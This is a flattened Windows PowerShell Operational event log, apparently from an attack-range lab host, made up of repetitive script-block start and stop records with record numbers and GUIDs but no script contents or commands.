410615103150x0675693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 